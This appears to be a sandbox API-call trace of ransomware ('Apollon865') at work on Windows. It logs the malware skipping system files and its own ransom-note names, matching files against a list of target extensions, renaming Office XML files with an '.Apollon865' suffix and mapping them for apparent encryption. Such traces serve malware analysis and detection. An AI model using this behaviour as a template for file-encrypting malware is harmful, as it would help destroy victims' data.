	[0067.842] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1690) returned 0x100000
	[0067.843] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0067.844] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.844] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0067.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.844] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0067.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0067.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0067.844] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0067.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0067.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0067.844] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0067.844] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0067.844] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0067.844] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0067.844] CloseHandle (hObject=0x150) returned 1
	[0067.844] CloseHandle (hObject=0x15c) returned 1
	[0067.845] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0067.845] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0067.845] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0067.845] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dea2700, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9dea2700, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0xa5178, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL012.XML", cAlternateFileName="")) returned 1
	[0067.845] lstrcmpiW (lpString1="PGLBL012.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.845] lstrcmpiW (lpString1="PGLBL012.XML", lpString2="Apollon865.txt.exe") returned 1
	[0067.845] lstrcmpiW (lpString1="PGLBL012.XML", lpString2=".") returned 1
	[0067.845] lstrcmpiW (lpString1="PGLBL012.XML", lpString2="..") returned 1
	[0067.845] lstrcmpiW (lpString1="PGLBL012.XML", lpString2="windows") returned -1
	[0067.845] lstrcmpiW (lpString1="PGLBL012.XML", lpString2="bootmgr") returned 1
	[0067.845] lstrcmpiW (lpString1="PGLBL012.XML", lpString2="temp") returned -1
	[0067.845] lstrcmpiW (lpString1="PGLBL012.XML", lpString2="pagefile.sys") returned 1
	[0067.845] lstrcmpiW (lpString1="PGLBL012.XML", lpString2="boot") returned 1
	[0067.845] lstrcmpiW (lpString1="PGLBL012.XML", lpString2="ids.txt") returned 1
	[0067.845] lstrcmpiW (lpString1="PGLBL012.XML", lpString2="ntuser.dat") returned 1
	[0067.845] lstrcmpiW (lpString1="PGLBL012.XML", lpString2="perflogs") returned 1
	[0067.845] lstrcmpiW (lpString1="PGLBL012.XML", lpString2="MSBuild") returned 1
	[0067.845] lstrlenW (lpString="PGLBL012.XML") returned 12
	[0067.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML") returned 64
	[0067.845] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL012.XML" | out: lpString1="PGLBL012.XML") returned="PGLBL012.XML"
	[0067.845] lstrlenW (lpString="PGLBL012.XML") returned 12
	[0067.845] lstrlenW (lpString="Apollon865") returned 10
	[0067.845] lstrcmpiW (lpString1="LBL012.XML", lpString2="Apollon865") returned 1
	[0067.846] lstrlenW (lpString=".dll") returned 4
	[0067.846] lstrcmpiW (lpString1="PGLBL012.XML", lpString2=".dll") returned 1
	[0067.846] lstrlenW (lpString=".lnk") returned 4
	[0067.846] lstrcmpiW (lpString1="PGLBL012.XML", lpString2=".lnk") returned 1
	[0067.846] lstrlenW (lpString=".ini") returned 4
	[0067.846] lstrcmpiW (lpString1="PGLBL012.XML", lpString2=".ini") returned 1
	[0067.846] lstrlenW (lpString=".sys") returned 4
	[0067.846] lstrcmpiW (lpString1="PGLBL012.XML", lpString2=".sys") returned 1
	[0067.846] lstrlenW (lpString="PGLBL012.XML") returned 12
	[0067.846] lstrlenW (lpString="bak") returned 3
	[0067.846] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0067.846] lstrlenW (lpString="ba_") returned 3
	[0067.846] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0067.846] lstrlenW (lpString="dbb") returned 3
	[0067.846] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0067.846] lstrlenW (lpString="vmdk") returned 4
	[0067.846] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0067.846] lstrlenW (lpString="rar") returned 3
	[0067.846] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0067.846] lstrlenW (lpString="zip") returned 3
	[0067.846] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0067.846] lstrlenW (lpString="tgz") returned 3
	[0067.846] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0067.846] lstrlenW (lpString="vbox") returned 4
	[0067.846] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0067.846] lstrlenW (lpString="vdi") returned 3
	[0067.846] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0067.846] lstrlenW (lpString="vhd") returned 3
	[0067.846] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0067.846] lstrlenW (lpString="vhdx") returned 4
	[0067.846] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0067.846] lstrlenW (lpString="avhd") returned 4
	[0067.846] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0067.846] lstrlenW (lpString="db") returned 2
	[0067.846] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0067.846] lstrlenW (lpString="db2") returned 3
	[0067.847] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0067.847] lstrlenW (lpString="db3") returned 3
	[0067.847] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0067.847] lstrlenW (lpString="dbf") returned 3
	[0067.847] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0067.847] lstrlenW (lpString="mdf") returned 3
	[0067.847] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0067.847] lstrlenW (lpString="mdb") returned 3
	[0067.847] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0067.847] lstrlenW (lpString="sql") returned 3
	[0067.847] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0067.847] lstrlenW (lpString="sqlite") returned 6
	[0067.847] lstrcmpiW (lpString1="12.XML", lpString2="sqlite") returned -1
	[0067.847] lstrlenW (lpString="sqlite3") returned 7
	[0067.847] lstrcmpiW (lpString1="012.XML", lpString2="sqlite3") returned -1
	[0067.847] lstrlenW (lpString="sqlitedb") returned 8
	[0067.847] lstrcmpiW (lpString1="L012.XML", lpString2="sqlitedb") returned -1
	[0067.847] lstrlenW (lpString="xml") returned 3
	[0067.847] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0067.847] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML.Apollon865") returned 75
	[0067.847] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl012.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl012.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl012.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.848] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=676216) returned 1
	[0067.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0067.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0067.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0067.849] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0067.849] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.849] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0067.849] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa5480, lpName=0x0) returned 0x150
	[0067.851] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa5480) returned 0x4d0000
	[0067.881] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0067.882] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.882] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0067.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0067.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0067.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0067.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0067.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0067.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0067.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0067.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0067.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0067.882] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0067.888] CloseHandle (hObject=0x150) returned 1
	[0067.888] CloseHandle (hObject=0x15c) returned 1
	[0067.888] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0067.888] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0067.888] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0067.891] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca994100, ftCreationTime.dwHighDateTime=0x1ca1b2d, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca994100, ftLastWriteTime.dwHighDateTime=0x1ca1b2d, nFileSizeHigh=0x0, nFileSizeLow=0x22cf0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL016.XML", cAlternateFileName="")) returned 1
	[0067.891] lstrcmpiW (lpString1="PGLBL016.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.892] lstrcmpiW (lpString1="PGLBL016.XML", lpString2="Apollon865.txt.exe") returned 1
	[0067.892] lstrcmpiW (lpString1="PGLBL016.XML", lpString2=".") returned 1
	[0067.892] lstrcmpiW (lpString1="PGLBL016.XML", lpString2="..") returned 1
	[0067.892] lstrcmpiW (lpString1="PGLBL016.XML", lpString2="windows") returned -1
	[0067.892] lstrcmpiW (lpString1="PGLBL016.XML", lpString2="bootmgr") returned 1
	[0067.892] lstrcmpiW (lpString1="PGLBL016.XML", lpString2="temp") returned -1
	[0067.892] lstrcmpiW (lpString1="PGLBL016.XML", lpString2="pagefile.sys") returned 1
	[0067.892] lstrcmpiW (lpString1="PGLBL016.XML", lpString2="boot") returned 1
	[0067.892] lstrcmpiW (lpString1="PGLBL016.XML", lpString2="ids.txt") returned 1
	[0067.892] lstrcmpiW (lpString1="PGLBL016.XML", lpString2="ntuser.dat") returned 1
	[0067.892] lstrcmpiW (lpString1="PGLBL016.XML", lpString2="perflogs") returned 1
	[0067.892] lstrcmpiW (lpString1="PGLBL016.XML", lpString2="MSBuild") returned 1
	[0067.892] lstrlenW (lpString="PGLBL016.XML") returned 12
	[0067.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML") returned 64
	[0067.892] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL016.XML" | out: lpString1="PGLBL016.XML") returned="PGLBL016.XML"
	[0067.892] lstrlenW (lpString="PGLBL016.XML") returned 12
	[0067.892] lstrlenW (lpString="Apollon865") returned 10
	[0067.892] lstrcmpiW (lpString1="LBL016.XML", lpString2="Apollon865") returned 1
	[0067.892] lstrlenW (lpString=".dll") returned 4
	[0067.892] lstrcmpiW (lpString1="PGLBL016.XML", lpString2=".dll") returned 1
	[0067.892] lstrlenW (lpString=".lnk") returned 4
	[0067.892] lstrcmpiW (lpString1="PGLBL016.XML", lpString2=".lnk") returned 1
	[0067.892] lstrlenW (lpString=".ini") returned 4
	[0067.892] lstrcmpiW (lpString1="PGLBL016.XML", lpString2=".ini") returned 1
	[0067.892] lstrlenW (lpString=".sys") returned 4
	[0067.892] lstrcmpiW (lpString1="PGLBL016.XML", lpString2=".sys") returned 1
	[0067.892] lstrlenW (lpString="PGLBL016.XML") returned 12
	[0067.892] lstrlenW (lpString="bak") returned 3
	[0067.892] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0067.892] lstrlenW (lpString="ba_") returned 3
	[0067.892] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0067.892] lstrlenW (lpString="dbb") returned 3
	[0067.892] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0067.892] lstrlenW (lpString="vmdk") returned 4
	[0067.893] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0067.893] lstrlenW (lpString="rar") returned 3
	[0067.893] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0067.893] lstrlenW (lpString="zip") returned 3
	[0067.893] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0067.893] lstrlenW (lpString="tgz") returned 3
	[0067.893] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0067.893] lstrlenW (lpString="vbox") returned 4
	[0067.893] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0067.893] lstrlenW (lpString="vdi") returned 3
	[0067.893] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0067.893] lstrlenW (lpString="vhd") returned 3
	[0067.893] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0067.893] lstrlenW (lpString="vhdx") returned 4
	[0067.893] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0067.893] lstrlenW (lpString="avhd") returned 4
	[0067.893] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0067.893] lstrlenW (lpString="db") returned 2
	[0067.893] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0067.893] lstrlenW (lpString="db2") returned 3
	[0067.893] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0067.893] lstrlenW (lpString="db3") returned 3
	[0067.893] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0067.893] lstrlenW (lpString="dbf") returned 3
	[0067.893] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0067.893] lstrlenW (lpString="mdf") returned 3
	[0067.893] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0067.893] lstrlenW (lpString="mdb") returned 3
	[0067.893] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0067.893] lstrlenW (lpString="sql") returned 3
	[0067.893] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0067.893] lstrlenW (lpString="sqlite") returned 6
	[0067.893] lstrcmpiW (lpString1="16.XML", lpString2="sqlite") returned -1
	[0067.893] lstrlenW (lpString="sqlite3") returned 7
	[0067.893] lstrcmpiW (lpString1="016.XML", lpString2="sqlite3") returned -1
	[0067.893] lstrlenW (lpString="sqlitedb") returned 8
	[0067.894] lstrcmpiW (lpString1="L016.XML", lpString2="sqlitedb") returned -1
	[0067.894] lstrlenW (lpString="xml") returned 3
	[0067.894] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0067.894] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML.Apollon865") returned 75
	[0067.894] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl016.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl016.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl016.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.895] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=142576) returned 1
	[0067.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0067.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0067.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0067.895] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0067.896] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.896] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0067.896] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x22ff0, lpName=0x0) returned 0x150
	[0067.897] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x22ff0) returned 0x120000
	[0067.905] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0067.905] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.905] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0067.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0067.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0067.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0067.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0067.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0067.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0067.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0067.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0067.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0067.906] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0067.908] CloseHandle (hObject=0x150) returned 1
	[0067.908] CloseHandle (hObject=0x15c) returned 1
	[0067.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0067.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0067.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0067.910] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9ac00, ftCreationTime.dwHighDateTime=0x1c6c1cc, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69d9ac00, ftLastWriteTime.dwHighDateTime=0x1c6c1cc, nFileSizeHigh=0x0, nFileSizeLow=0x101bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL020.XML", cAlternateFileName="")) returned 1
	[0067.910] lstrcmpiW (lpString1="PGLBL020.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.910] lstrcmpiW (lpString1="PGLBL020.XML", lpString2="Apollon865.txt.exe") returned 1
	[0067.910] lstrcmpiW (lpString1="PGLBL020.XML", lpString2=".") returned 1
	[0067.910] lstrcmpiW (lpString1="PGLBL020.XML", lpString2="..") returned 1
	[0067.910] lstrcmpiW (lpString1="PGLBL020.XML", lpString2="windows") returned -1
	[0067.910] lstrcmpiW (lpString1="PGLBL020.XML", lpString2="bootmgr") returned 1
	[0067.910] lstrcmpiW (lpString1="PGLBL020.XML", lpString2="temp") returned -1
	[0067.910] lstrcmpiW (lpString1="PGLBL020.XML", lpString2="pagefile.sys") returned 1
	[0067.910] lstrcmpiW (lpString1="PGLBL020.XML", lpString2="boot") returned 1
	[0067.910] lstrcmpiW (lpString1="PGLBL020.XML", lpString2="ids.txt") returned 1
	[0067.910] lstrcmpiW (lpString1="PGLBL020.XML", lpString2="ntuser.dat") returned 1
	[0067.910] lstrcmpiW (lpString1="PGLBL020.XML", lpString2="perflogs") returned 1
	[0067.910] lstrcmpiW (lpString1="PGLBL020.XML", lpString2="MSBuild") returned 1
	[0067.910] lstrlenW (lpString="PGLBL020.XML") returned 12
	[0067.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML") returned 64
	[0067.910] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL020.XML" | out: lpString1="PGLBL020.XML") returned="PGLBL020.XML"
	[0067.910] lstrlenW (lpString="PGLBL020.XML") returned 12
	[0067.910] lstrlenW (lpString="Apollon865") returned 10
	[0067.910] lstrcmpiW (lpString1="LBL020.XML", lpString2="Apollon865") returned 1
	[0067.910] lstrlenW (lpString=".dll") returned 4
	[0067.910] lstrcmpiW (lpString1="PGLBL020.XML", lpString2=".dll") returned 1
	[0067.910] lstrlenW (lpString=".lnk") returned 4
	[0067.910] lstrcmpiW (lpString1="PGLBL020.XML", lpString2=".lnk") returned 1
	[0067.910] lstrlenW (lpString=".ini") returned 4
	[0067.910] lstrcmpiW (lpString1="PGLBL020.XML", lpString2=".ini") returned 1
	[0067.910] lstrlenW (lpString=".sys") returned 4
	[0067.911] lstrcmpiW (lpString1="PGLBL020.XML", lpString2=".sys") returned 1
	[0067.911] lstrlenW (lpString="PGLBL020.XML") returned 12
	[0067.911] lstrlenW (lpString="bak") returned 3
	[0067.911] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0067.911] lstrlenW (lpString="ba_") returned 3
	[0067.911] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0067.911] lstrlenW (lpString="dbb") returned 3
	[0067.911] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0067.911] lstrlenW (lpString="vmdk") returned 4
	[0067.911] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0067.911] lstrlenW (lpString="rar") returned 3
	[0067.911] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0067.911] lstrlenW (lpString="zip") returned 3
	[0067.911] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0067.911] lstrlenW (lpString="tgz") returned 3
	[0067.911] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0067.911] lstrlenW (lpString="vbox") returned 4
	[0067.911] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0067.911] lstrlenW (lpString="vdi") returned 3
	[0067.911] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0067.911] lstrlenW (lpString="vhd") returned 3
	[0067.911] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0067.911] lstrlenW (lpString="vhdx") returned 4
	[0067.911] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0067.911] lstrlenW (lpString="avhd") returned 4
	[0067.911] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0067.911] lstrlenW (lpString="db") returned 2
	[0067.911] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0067.911] lstrlenW (lpString="db2") returned 3
	[0067.911] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0067.911] lstrlenW (lpString="db3") returned 3
	[0067.911] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0067.911] lstrlenW (lpString="dbf") returned 3
	[0067.911] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0067.911] lstrlenW (lpString="mdf") returned 3
	[0067.911] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0067.911] lstrlenW (lpString="mdb") returned 3
	[0067.911] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0067.912] lstrlenW (lpString="sql") returned 3
	[0067.912] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0067.912] lstrlenW (lpString="sqlite") returned 6
	[0067.912] lstrcmpiW (lpString1="20.XML", lpString2="sqlite") returned -1
	[0067.912] lstrlenW (lpString="sqlite3") returned 7
	[0067.912] lstrcmpiW (lpString1="020.XML", lpString2="sqlite3") returned -1
	[0067.912] lstrlenW (lpString="sqlitedb") returned 8
	[0067.912] lstrcmpiW (lpString1="L020.XML", lpString2="sqlitedb") returned -1
